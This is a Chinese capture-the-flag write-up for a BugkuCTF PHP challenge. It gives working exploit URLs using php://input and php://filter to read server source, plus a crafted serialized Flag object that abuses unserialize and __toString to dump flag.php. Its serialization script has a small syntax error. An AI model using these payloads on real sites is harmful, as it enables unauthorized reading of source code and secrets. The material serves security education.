Menu

BugkuCTF中welcome to bugkuctf文件包含&序列化

0 Comment

首先我们先点开链接之后,看源码

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->

我们可以发现需要GET进3个参数,其中第一个参数$user打开之后内容需要是welcome to the bugkuctf,这个是相对来说比较好构造的

使用php://input可以执行php语句(仅在allow_url_include为on时才可以使用)php://input可以读取没有处理过的POST数据,仅当Content-Type为application/x-www-form-urlencoded(     其他:multipart/form-data : 指定传输数据为二进制类型,比如图片、mp3、文件)且提交方法是POST方法时,$_POST数据与php://input数据才是”一致”(格式不一致,内容一致)

说得有点远了,在这里应该可以理解为POST方法,再自己POST数据“welcome to the bugkuctf“进user变量,就可以完成这一个绕过。

再看代码

include($file); //hint.php

这里提示了有一个hint.php,可以通过文件包含来查看这个文件

通常采用封装协议读取PHP文件

http://120.24.86.145:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php

得到了经过Base64加密后的字符串:

PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==

解密后为:

<?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("good"); } } } ?>

仔细分析这段代码,提示了有flag.php这个文件,flag应该就在这个文件里面,现在的问题是怎么读出这个文件,直接读flag.php

http://120.24.86.145:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=flag.php

提示:不能现在就给你flag哦,从提示来看,源码不是之前的那个,提示都不一样,读一下index.php,解密得到和hint.php一起看

#index.php 
<?php 
$txt = $_GET["txt"]; 
$file = $_GET["file"]; 
$password = $_GET["password"]; 
 
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ 
 echo "hello friend!<br>"; 
 if(preg_match("/flag/",$file)){ 
 echo "不能现在就给你flag哦"; 
 exit(); 
 }else{ 
 include($file); 
 $password = unserialize($password); 
 echo $password; 
 } 
}else{ 
 echo "you are not the number of bugku ! "; 
} 
 
?> 
#hint.php 
 
<?php 
 
class Flag{//flag.php 
 public $file; 
 public function __tostring(){ 
  if(isset($this->file)){ 
     echo file_get_contents($this->file); 
     echo "<br>"; 
     return ("good"); 
 } 
 } 
} 
?>

很明显flag字符被正则过滤掉,但是password变量经过unserialize($password)反序列化之后被Echo了出来(to_string方法会在输出实例的时候执行,unserialize触发了to_string函数),可以利用这个变量和hint.php

可参考http://blog.csdn.net/qq_31481187/article/details/60968595中的第15条

<?php 
 
class Flag{//flag.php 
 public $file; 
 public function __tostring(){ 
 if(isset($this->file)){ 
 echo file_get_contents($this->file); 
 echo "<br>"; 
 return ("good"); 
 } 
 } 
} 
$flag=new Flag();
flag->file="flag.php";
$flag=serialize($flag);
print_r($flag);
?>

得到  O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;},txt变量还是一样的绕过,file要include进hint.php,password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}

flag{php_is_the_best_language},可能预设的flag可能有问题,导致这道题flag不能成功提交

发表评论

电子邮件地址不会被公开。 必填项已用*标注